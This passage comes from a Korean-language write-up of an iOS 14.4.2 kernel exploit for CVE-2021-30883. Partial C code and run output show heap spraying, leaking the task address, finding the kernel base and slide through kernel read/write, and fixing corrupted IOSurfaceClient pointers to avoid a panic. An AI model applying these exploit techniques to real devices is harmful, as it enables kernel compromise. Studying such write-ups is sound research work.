vtable에 있는 IOUserClient::getTargetAndTrapForIndex 함수 주소를 가져오고, 해당 함수 주소가 속한 페이지의 주소로 내림한 다음, 커널 주소를 읽고 페이지 크기만큼 읽힐 주소를 감소시킴을 반복함으로써 커널 베이스를 찾으면 된다.

// Ian Beer
mach_msg_size_t message_size_for_kalloc_size(mach_msg_size_t kalloc_size) {
    return ((3 * kalloc_size) / 4) - 0x74;
}

kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size) {
    mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
    struct simple_msg *msg = malloc(msg_size);
    
    memset(msg, 0, sizeof(struct simple_msg));
    
    msg->hdr.msgh_remote_port = destination;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = msg_size;
    
    memcpy(&msg->buf[0], buffer, size);
    
    kern_return_t ret = mach_msg(&msg->hdr, MACH_SEND_MSG, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (ret) {
        printf("[-] failed to send message\n");
        mach_port_destroy(mach_task_self(), destination);
        free(msg);
        return ret;
    }
    free(msg);
    return KERN_SUCCESS;
}

...

int main(int argc, char *argv[], char *envp[]) {
  ...
  
    #define port_cnt 0x2a00
    mach_port_t ports[port_cnt] = {};
    // setup ports
    for (int i = 0; i < port_cnt; i++) {
        ports[i] = new_mach_port();
    }

    // spray kheap data ports
    int port_i = 0;
    #define POP_PORT() ports[port_i++]
    for(int i = 0; i < port_cnt; i++) {
        mach_port_t current_port = POP_PORT();
        mach_msg_size_t msg_size = message_size_for_kalloc_size(kernel_page_size) - sizeof(struct simple_msg);
        void *data = calloc(1, msg_size);
        memset(data, 0x43, msg_size);
        send_message(current_port, data, msg_size);
    }

    // find out where sprayed kmsg and obtain msgh_remote_port kaddr
    uint64_t guessed_ikm_header = KHEAP_DATA_MAPPABLE_LOC + 0x4000 * 512 + 0xfd0;
    uint64_t msgh_remote_port = 0;
    for(int i = 0; i < 100; i++) {
        // https://github.com/wh1te4ever/xnu_1day_practice/blob/main/CVE-2020-3837/helper/find_port.c#L31
        uint32_t off_mach_msg_header_t_msgh_remote_port = 0x8;  // (lldb) p/x offsetof(mach_msg_header_t, msgh_remote_port)
        uint64_t kmsgdata = guessed_ikm_header + 0x20;
        if(kread64(kmsgdata) == 0x4343434343434343) {
            msgh_remote_port = kread64(guessed_ikm_header + off_mach_msg_header_t_msgh_remote_port); 
            printf("Found one of sprayed kmsg! ikm_header = 0x%llx, ikm_header->msgh_remote_port = 0x%llx\n", guessed_ikm_header, msgh_remote_port);
            break;
        }
        guessed_ikm_header += 0x4000;
    }
    if(msgh_remote_port == 0) {
        printf("Failed to find out sprayed kmsg...\n");
        spinning();
    }

    // Obtaining our task kaddr
    // msgh_remote_port's data.receiver // 0x60 = p/x offsetof(ipc_port, data.receiver); data.receiver's type = ipc_space*
    uint64_t data_receiver = kread64(msgh_remote_port + 0x60);
    printf("data_receiver = 0x%llx\n", data_receiver);

    // data.receiver's is_task          // 0x30 = p/x offsetof(ipc_space, is_task); is_task's type = task*
    uint64_t our_task = kread64(data_receiver + 0x30);
    printf("our_task = 0x%llx\n", our_task);

    // clean our sprayed kheap data ports
    for (int i = 0; i < port_cnt; i++) {
        mach_port_destroy(mach_task_self(), ports[i]);
    }

    // Obtain kernel base via IOSurfaceRootUserClient_vtab
    uint64_t iosurface_port = find_port(our_task, iosurface_uc);
    uint64_t surfRoot = kread64(iosurface_port + off_ipc_port_ip_kobject); 
    uint64_t IOSurfaceRootUserClient_vtab = kread64(surfRoot);
    IOSurfaceRootUserClient_vtab |= 0xffffff8000000000; // in case it has PAC
    uint64_t getExternalTrapForIndex_func = kread64(IOSurfaceRootUserClient_vtab + 8 * 0xb8);   //__ZN12IOUserClient24getTargetAndTrapForIndexEPP9IOServicej; LDR X8, [X8,#0x5C0]; 8*0xb8=0x5c0
    getExternalTrapForIndex_func |= 0xffffff8000000000;
    printf("getExternalTrapForIndex_func = 0x%llx\n", getExternalTrapForIndex_func);

    // walking down kpages to find kernel base
    uint64_t page = trunc_page_kernel(getExternalTrapForIndex_func);
    uint64_t kbase = 0;
    uint64_t kslide = 0;
    while (true) {
        if (kread64(page) == 0x0100000cfeedfacf && (kread64(page + 8) == 0x0000000200000000 || kread64(page + 8) == 0x0000000200000002)) {
            kbase = page;
            kslide = kbase - 0xfffffff007004000;
            break;
        }
        page -= kernel_page_size;
    }
    printf("Got kernel slide = 0x%llx, kernel base = 0x%llx\n", kslide, kbase);
    ...

8. 익스플로잇 정리: IOSurfaceClient의 prev와 next 포인터 고치기

IOSurfaceRoot_release_all를 통해 IOSurface 객체들을 해제하기 전에 앞서, 손상된 IOSurfaceClient를 포함한 인근 객체들은 할당해제되지 못하게끔 만든다.

각 IOSurfaceClient 객체에는 prev와 next 포인터가 존재하기에, 이를 수정하여 손상된 객체를 가리키지 않고 건너뛰게끔 만들어주면 된다.

void IOSurfaceRoot_release_all(io_connect_t uc)
{
    for (uint32_t surf_id = 1; surf_id < 0x3FFF; ++surf_id)
    {
        // printf("%s: surf_id = 0x%x\n", __FUNCTION__, surf_id);
        // usleep(100000);
        IOSurfaceRoot_release_surface(uc, surf_id);
    }

    for(int i = 0; i < 0x1000; i++) {
        gIOSurface_ids[i] = 0;
    }
    gIOSurface_id_count = 0;
}

int main(int argc, char *argv[], char *envp[]) {
  ...
    // Clean up!
    // Relink surfaceClient to prevent kernel panic
    uint64_t IOSurfaceRootUserClient_port = find_port(our_task, iosurface_uc);
    uint64_t IOSurfaceRootUserClient_addr = kread64(IOSurfaceRootUserClient_port + off_ipc_port_ip_kobject);
    uint64_t surfaceClients = kread64(IOSurfaceRootUserClient_addr + 0x118);
    printf("surfaceClients = 0x%llx\n", surfaceClients);

    uint64_t surfaceClient = kread64(surfaceClients + (krw_surf_id-20)*8);
    uint64_t surfaceClient2 = kread64(surfaceClients + (krw_surf_id+20)*8);

    // relink surfaceClient
    kwrite64(surfaceClient+0x20, surfaceClient2+0x18);  //overwrite next ptr;
    kwrite64(surfaceClient2+0x18, surfaceClient);       //overwrite prev ptr;

    //remove_surfaceclient_in_surfaceclients
    for(int k = (krw_surf_id-19); k < (krw_surf_id+20); k++) {
        if(k == krw_surf_id) continue;
        kwrite64(surfaceClients + k*8, 0);
    }

    //byebye krw
    kwrite64(surfaceClients + krw_surf_id*8, 0);
    close(krw_rfd);
    close(krw_wfd);

    IOSurfaceRoot_release_all(iosurface_uc);

cleanup:
    IOServiceClose(iosurface_uc);
    printf("done!\n");
    return 0;
}

아래는 각 IOSurfaceClient 객체의 prev와 next 포인터에 대해 이해하기 위해 만든 그림이다.

IOSurfaceClient 객체의 +0x20에는 next, +0x18에는 prev를 각각 가리킨다.

Drawing 2025-12-02 09.03.32.excalidraw.png

실행 결과

[i] offsets selected for iOS 14.4.2
Exploiting CVE-2021-30883 (first journey from poc to exploit by @wh1te4ever!)
[*] AppleCLCD service: 0x2907
[*] AppleCLCD userclient: 0x2803
release, iosurf_id = 0x78
release, iosurf_id = 0xdc
release, iosurf_id = 0x140
release, iosurf_id = 0x1a4
release, iosurf_id = 0x208
release, iosurf_id = 0x26c
release, iosurf_id = 0x2d0
release, iosurf_id = 0x334
release, iosurf_id = 0x398
release, iosurf_id = 0x3fc
release, iosurf_id = 0x460
release, iosurf_id = 0x4c4
release, iosurf_id = 0x528
release, iosurf_id = 0x58c
release, iosurf_id = 0x5f0
release, iosurf_id = 0x654
[+] Found corrupted IOSurfaceClient's surf_id = 0x656
[+] pipefd_leak = 0x6320631, krw_rfd = 0x631, krw_wfd = 0x632
kaddr: 0xffffffe4ce97a000 -> val: 0x4242424242424242
Writing 0xcafebabe13371338 to kaddr(=0xffffffe4ce97a000)
kaddr: 0xffffffe4ce97a000 -> val: 0xcafebabe13371338
Confirmed working kernel read/write!
Found one of sprayed kmsg! ikm_header = 0xffffffe4cf178fd0, ikm_header->msgh_remote_port = 0xffffffe1a0188498
data_receiver = 0xffffffe19e0a9ba8
our_task = 0xffffffe19e8c4628
getExternalTrapForIndex_func = 0xfffffff00c7679d4
Got kernel slide = 0x472c000, kernel base = 0xfffffff00b730000
surfaceClients = 0xffffffe4cc304000
done!

참고 자료

https://github.com/potmdehex/slides/blob/main/Zer0Con_2022_Tales_from_the_iOS_macOS_Kernel_Trenches.pdf

https://github.com/saaramar/IOMFB_integer_overflow_poc